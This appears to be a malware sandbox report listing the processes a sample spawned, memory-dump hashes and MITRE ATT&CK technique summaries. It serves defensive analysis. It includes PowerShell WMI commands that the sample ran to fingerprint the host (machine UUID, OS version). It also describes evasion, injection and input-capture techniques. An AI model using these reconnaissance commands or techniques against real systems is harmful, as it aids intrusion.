Analysis Process: conhost.exePID: 5288, Parent PID: 1216

General

Target ID:	41
Start time:	03:10:36
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	03:10:43
Start date:	27/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6244, Parent PID: 4412

General

Target ID:	43
Start time:	03:10:43
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	03:10:44
Start date:	27/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6492, Parent PID: 6816

General

Target ID:	45
Start time:	03:10:44
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 0046DAE0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2245144244.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2245117525.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2245614354.0000000000646000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2245874136.00000000008A3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2245905720.00000000008A7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246003064.00000000008CE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246055726.00000000008D4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246081923.00000000008D6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246081923.00000000008F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246081923.00000000008F7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246081923.000000000095E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246081923.0000000000963000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246416607.0000000000966000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246454596.0000000000975000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0A7XTINw3R.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cff9fe2135e67e95bb574443de1d06a8e0b8e89167aa2be6e3a61b8e8eda4513
Instruction ID: a1e6bbc999cd5f50c7c4accd9f38ba6084e1bb35075d9f77d2e2732d1c4bb2d4
Opcode Fuzzy Hash: cff9fe2135e67e95bb574443de1d06a8e0b8e89167aa2be6e3a61b8e8eda4513
Instruction Fuzzy Hash: 84319D2391CFC482D3218B25F5413AAB364F7A9784F15A715EFC812A1ADF78E1E5CB40

Function 00469E20 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2245144244.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2245117525.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2245614354.0000000000646000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2245874136.00000000008A3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2245905720.00000000008A7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246003064.00000000008CE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246055726.00000000008D4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246081923.00000000008D6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246081923.00000000008F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246081923.00000000008F7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246081923.000000000095E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246081923.0000000000963000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246416607.0000000000966000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2246454596.0000000000975000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0A7XTINw3R.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e2dc365eeaf7d755159d019c6b8806dfc90132728faab9ca90f57871b6c792b
Instruction ID: 95c09c9a710b13e4314ed43a60f79bf18435b760a97af710b8f5ceaca13eb996
Opcode Fuzzy Hash: 6e2dc365eeaf7d755159d019c6b8806dfc90132728faab9ca90f57871b6c792b
Instruction Fuzzy Hash:

Analysis Process: winclock.exePID: 6264, Parent PID: 6848COMMON

Executed Functions

Function 0046E940 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2449713750.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2449690772.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450029954.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450459684.0000000000CB7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450490798.0000000000CBB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450517596.0000000000CBC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450539160.0000000000CBD000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450562148.0000000000CBF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450588898.0000000000CC0000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450622220.0000000000CE9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450646553.0000000000CEA000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450672879.0000000000CEE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450703536.0000000000CFD000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450733474.0000000000D00000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450758607.0000000000D02000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450782085.0000000000D04000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450782085.0000000000D1F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450782085.0000000000D26000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450782085.0000000000D8D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2451042248.0000000000D95000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2451076110.0000000000DAC000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_winclock.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cff9fe2135e67e95bb574443de1d06a8e0b8e89167aa2be6e3a61b8e8eda4513
Instruction ID: 0312dbaa00579b99cfb065e531bc4d8799cc3906f5b7f18067f8635298543ace
Opcode Fuzzy Hash: cff9fe2135e67e95bb574443de1d06a8e0b8e89167aa2be6e3a61b8e8eda4513
Instruction Fuzzy Hash: 2A31BD2391CFC482D3208B25F5413AAB364F3A9784F15A315EFC812A1ADF38E2E1CB40

Function 0046AC80 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2449713750.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2449690772.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450029954.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450459684.0000000000CB7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450490798.0000000000CBB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450517596.0000000000CBC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450539160.0000000000CBD000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450562148.0000000000CBF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450588898.0000000000CC0000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450622220.0000000000CE9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450646553.0000000000CEA000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450672879.0000000000CEE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450703536.0000000000CFD000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450733474.0000000000D00000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450758607.0000000000D02000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450782085.0000000000D04000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450782085.0000000000D1F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450782085.0000000000D26000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2450782085.0000000000D8D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2451042248.0000000000D95000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2451076110.0000000000DAC000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_winclock.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e2dc365eeaf7d755159d019c6b8806dfc90132728faab9ca90f57871b6c792b
Instruction ID: 22074ad7b6129e3055a9cd4002734149958782359a87bab2d2b878ac436c9d2d
Opcode Fuzzy Hash: 6e2dc365eeaf7d755159d019c6b8806dfc90132728faab9ca90f57871b6c792b
Instruction Fuzzy Hash:

Analysis Process: malnotify.exePID: 4500, Parent PID: 6848COMMON

Executed Functions

Function 0046D860 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2458852334.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2458822616.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2459102872.0000000000640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2459396638.0000000000892000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2459434256.0000000000896000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2459586298.00000000008BC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2459637984.00000000008C9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2459756004.00000000008CA000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2460045004.00000000008CB000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2460080759.00000000008CD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2460080759.00000000008E7000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2460080759.00000000008ED000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2460080759.0000000000955000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2460080759.0000000000959000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2460080759.000000000095B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2461037809.000000000095C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2461405839.000000000096B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_malnotify.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b65c2346c372a812bf9a5a497f7710ebe99c163a2b211cbfcde99684ffbfdf79
Instruction ID: 57871779820f03c2e73817bb8d59bd958a487887afd69a015599a7b979518080
Opcode Fuzzy Hash: b65c2346c372a812bf9a5a497f7710ebe99c163a2b211cbfcde99684ffbfdf79
Instruction Fuzzy Hash: 19319C6391CFC482D3218B25B5413AAB364F7A9784F15A715EFC812A1ADB78E1E5CB40

Function 00469BC0 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2458852334.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2458822616.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2459102872.0000000000640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2459396638.0000000000892000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2459434256.0000000000896000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2459586298.00000000008BC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2459637984.00000000008C9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2459756004.00000000008CA000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2460045004.00000000008CB000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2460080759.00000000008CD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2460080759.00000000008E7000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2460080759.00000000008ED000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2460080759.0000000000955000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2460080759.0000000000959000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2460080759.000000000095B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2461037809.000000000095C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000012.00000002.2461405839.000000000096B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_malnotify.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19322aacc7dd447383d6f2170a10e82d5a65409c32a3e247da5a00b3a98942e9
Instruction ID: 912951e6366a50184176d383bf133ace019449ec07386c6a220dadf6f81a73e1
Opcode Fuzzy Hash: 19322aacc7dd447383d6f2170a10e82d5a65409c32a3e247da5a00b3a98942e9
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 6572, Parent PID: 1852COMMON

Executed Functions

Function 00007FFD9B957456 Relevance: .5, Instructions: 470COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2513440365.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b950000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4b77322b5b02cf134fa20e0279d8016236b0a93b75b55363316c0ef738d21ea
Instruction ID: 04ff3cc3270d07a8b79ff028107870b9b5be4f26462e3f1782b5817379c10f65
Opcode Fuzzy Hash: e4b77322b5b02cf134fa20e0279d8016236b0a93b75b55363316c0ef738d21ea
Instruction Fuzzy Hash: 6EF1E730A19A4D8FEBA8DF68D855BE937D1FF54310F04426EE84DC7295CF789A418B82

Function 00007FFD9B958202 Relevance: .5, Instructions: 456COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2513440365.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b950000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc829002effd5f4e15f723d1d162e15eaf7e275c006e04846a097ffd79d86fdf
Instruction ID: c78499bc2cfa3fa461770dbf4fd58dae4b0be0111444487a06fcc7179050032b
Opcode Fuzzy Hash: dc829002effd5f4e15f723d1d162e15eaf7e275c006e04846a097ffd79d86fdf
Instruction Fuzzy Hash: 16E1E430A19A4E8FEBA8DF68C8A57E937D1FF54310F04426ED84DC7291CF74A9418B82

Function 00007FFD9B957E16 Relevance: .3, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2513440365.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b950000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 353626070d463833c01eb8e16a6aaf4fa58406142b473b91d88f304e87b067c0
Instruction ID: ea9c8314deec1920fdeae2f04e6fe013e9a9812c13f134032562e68eacc424d9
Opcode Fuzzy Hash: 353626070d463833c01eb8e16a6aaf4fa58406142b473b91d88f304e87b067c0
Instruction Fuzzy Hash: E8B1E63061CA4D4FEBA8DF68C8657E93BD1FF55310F04426EE84DC7292CE7899458B82

Function 00007FFD9B957914 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2513440365.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b950000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95bd8a1e1e48266810fb04a12f77ba4c76880f9bd0aca445e496a598efa22baa
Instruction ID: b91bb283deafbebe35f3865429c7f722fe574f77f9a8c0f36eb65f276805f413
Opcode Fuzzy Hash: 95bd8a1e1e48266810fb04a12f77ba4c76880f9bd0aca445e496a598efa22baa
Instruction Fuzzy Hash: ED310230A6A65E9EFBB49FA4DC26BF53390FF42315F410139D80D861A2CA786B45CB11

Function 00007FFD9B9533B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2513440365.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b950000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 72a6e93f170ae5f1328e30d0722f72b90677350ba199dd27e292a32be5146ba8
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 3F01A73021CB0C4FDB48EF0CE051AA5B7E0FF85320F10056DE58AC36A1DA32E882CB41

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

